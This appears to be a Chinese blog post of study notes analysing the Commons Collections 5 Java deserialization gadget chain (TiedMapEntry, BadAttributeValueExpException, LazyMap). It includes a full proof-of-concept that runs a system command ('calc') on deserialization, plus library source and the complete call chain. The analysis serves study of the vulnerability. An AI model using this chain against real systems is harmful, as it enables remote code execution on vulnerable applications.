JAVA反序列化学习笔记3.Commons Collections5分析

简介: JAVA反序列化学习笔记3.Commons Collections5分析

0x01.前言

在学习完最初的TransformedMap和LazyMap后,来看他们触发需要用到的类

TransformedMap->AnnotationInvocationHandler

LazyMap->AnnotationInvocationHandler

最后都用到了AnnotationInvocationHandler,而该类在JDK1.8中对readObject方法进行了修 改,所以在JDK1.8中无法继续使用AnnotationInvocationHandler来触发了。所以在JDK1.8中需要寻找新的触发类了,涉及到新的2个类,TiedMapEntryBadAttributeValueExpException

当前触发版本:commons-collections 3.2 JDK1.8u131

先来看一下完整的POC

Transformer[] transformers = new Transformer[]{ 
  new ConstantTransformer(Runtime.class), 
  new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, 
  new Object[]{"getRuntime", new Class[0]}),
 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"calc"}) }; 
Transformer transformerChain = new ChainedTransformer(transformers);
HashMap innermap = new HashMap(); 
LazyMap map = (LazyMap) LazyMap.decorate(innermap, transformerChain); 
TiedMapEntry tiedmap = new TiedMapEntry(map, 123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1); 
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); 
val.set(poc, tiedmap);
//序列化 
FileOutputStream fileOutputStream = new FileOutputStream("serialize3.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(poc); 
objectOutputStream.close();
//反序列化
FileInputStream fileInputStream = new FileInputStream("serialize3.txt"); 
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); 
Object result = objectInputStream.readObject(); 
objectInputStream.close();

还是用到了LazyMap,变化的代码为

TiedMapEntry tiedmap = new TiedMapEntry(map, 123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1); 
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true);
val.set(poc, tiedmap);

0x02.TiedMapEntry类分析

既然还是用到了LazyMap,那还是需要找get操作。TieMapEntry的包位于

org.apache.commons.collections.keyvalue.TiedMapEntry

来看简要源码

public class TiedMapEntry implements Entry, KeyValue, Serializable {
 private static final long serialVersionUID = -8453869361373831205L; 
  private final Map map;   
  private final Object key;
 //构造方法,传入一个Map和一个Key值
  public TiedMapEntry(Map map, Object key) {
 this.map = map;
 this.key = key; 
 }
 //getValue方法调用了Map集合的get方法,如果Map传入一个LazyMap对象,可触发LazyMap 的get函数
 public Object getValue() { 
   return this.map.get(this.key); 
 }
 //调用了getValue方法 
 public String toString() { 
    return this.getKey() + "=" + this.getValue(); 
  }
}

这里完整的触发流程为 调用TieMapEntry对象的toString方法,之后又调用了getValue方法,最 后触发LazyMap的get方法

接下来寻找反序列化口并触发toString方法的类

0x03.BadAttributeValueExpException类分析

BadAttributeValueExpException类位于

javax.management.BadAttributeValueExpException

来看他的构造方法和readObject方法

private Object val; //私有属性
public BadAttributeValueExpException (Object val) { 
  //创建对象时会设置val的值,如果不为null,则调用toString方法后赋值给val 
  this.val = val == null ? null : val.toString(); 
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
 ObjectInputStream.GetField gf = ois.readFields(); 
  Object valObj = gf.get("val", null); //获取属性val的值 
  if (valObj == null) { 
    val = null; 
  } else if (valObj instanceof String) { 
    val= valObj; 
    //先对System.getSecurityManager进行判断,为null则进入该if判断,系统默认为null 
  } else if (System.getSecurityManager() == null 
      || valObj instanceof Long 
        || valObj instanceof Integer
        || valObj instanceof Float 
        || valObj instanceof Double 
        || valObj instanceof Byte 
        || valObj instanceof Short 
        || valObj instanceof Boolean) { 
     //调用toString方法,可触发TieMapEntry的toString方法 
     val = valObj.toString(); 
  } else { // the serialized object is from a version without JDK-8019292 fix 
    val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); 
  } 
}

可以发现val的值我们可控,如果设置val为TieMapEntry对象,在调用构造方法时就触发了 toString函数,但是因为最后反序列化操作时,已经无法触发构造方法了,所以漏洞的触发点 还是在readObject方法中,

这里需要提到下SecurityManager,为java的安全管理器,默认是关闭的也就是null,

获取val的值后进行SecurityManager判断,为null则进入,最后调用toString方法,触发漏洞

这时候还有个问题,val的值需要为TieMapEntry对象,而又是私有属性,创建对象后无法直接对 其进行操作,这时候需要用到反射去进行赋值了,所以就有了下面的构造语句

BadAttributeValueExpException poc = new BadAttributeValueExpException(1); 
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); 
val.setAccessible(true); 
val.set(poc, tiedmap);

其余的构造和CC1链大致相同,完整的触发链为

->ObjectInputStream.readObject()
 ->BadAttributeValueExpException.readObject()
  ->TieMapEntry.toString()
  ->TieMapEntry.getValue()
   ->LazyMap.get()
    ->ChainedTransformer.transform()
     ->ConstantTransformer.transform()
     ->InvokerTransformer.transform()
      ->Method.invoke()
      ->Class.getMethod()
     ->InvokerTransformer.transform()
      ->Method.invoke()
      ->Runtime.getRuntime()
     ->InvokerTransformer.transform()
      ->Method.invoke()
      ->Runtime.exec()
目录
打赏
0
0
0
0
2
分享
相关文章
【潜意识Java】javaee中的SpringBoot在Java 开发中的应用与详细分析
本文介绍了 Spring Boot 的核心概念和使用场景,并通过一个实战项目演示了如何构建一个简单的 RESTful API。
47 5
【潜意识Java】了解并详细分析Java与AIGC的结合应用和使用方式
本文介绍了如何将Java与AIGC(人工智能生成内容)技术结合,实现智能文本生成。
109 5
【潜意识Java】深度分析黑马项目《苍穹外卖》在Java学习中的重要性
《苍穹外卖》项目对Java学习至关重要。它涵盖了用户管理、商品查询、订单处理等模块,涉及Spring Boot、MyBatis、Redis等技术栈。
122 4
【潜意识Java】使用 Ruoyi 框架开发企业级应用,从零开始的实践指南和分析问题
本文介绍了基于Spring Boot的开源企业级框架Ruoyi,涵盖环境搭建、项目初始化及用户管理模块的创建。
181 4
【IO面试题 四】、介绍一下Java的序列化与反序列化
Java的序列化与反序列化允许对象通过实现Serializable接口转换成字节序列并存储或传输,之后可以通过ObjectInputStream和ObjectOutputStream的方法将这些字节序列恢复成对象。
Java编程中的对象序列化与反序列化
【10月更文挑战第22天】在Java的世界里,对象序列化和反序列化是数据持久化和网络传输的关键技术。本文将带你了解如何在Java中实现对象的序列化与反序列化,并探讨其背后的原理。通过实际代码示例,我们将一步步展示如何将复杂数据结构转换为字节流,以及如何将这些字节流还原为Java对象。文章还将讨论在使用序列化时应注意的安全性问题,以确保你的应用程序既高效又安全。
Java编程中的对象序列化与反序列化
【10月更文挑战第9天】在Java的世界里,对象序列化是连接数据持久化与网络通信的桥梁。本文将深入探讨Java对象序列化的机制、实践方法及反序列化过程,通过代码示例揭示其背后的原理。从基础概念到高级应用,我们将一步步揭开序列化技术的神秘面纱,让读者能够掌握这一强大工具,以应对数据存储和传输的挑战。

热门文章

最新文章

AI助理

你好,我是AI助理

可以解答问题、推荐解决方案等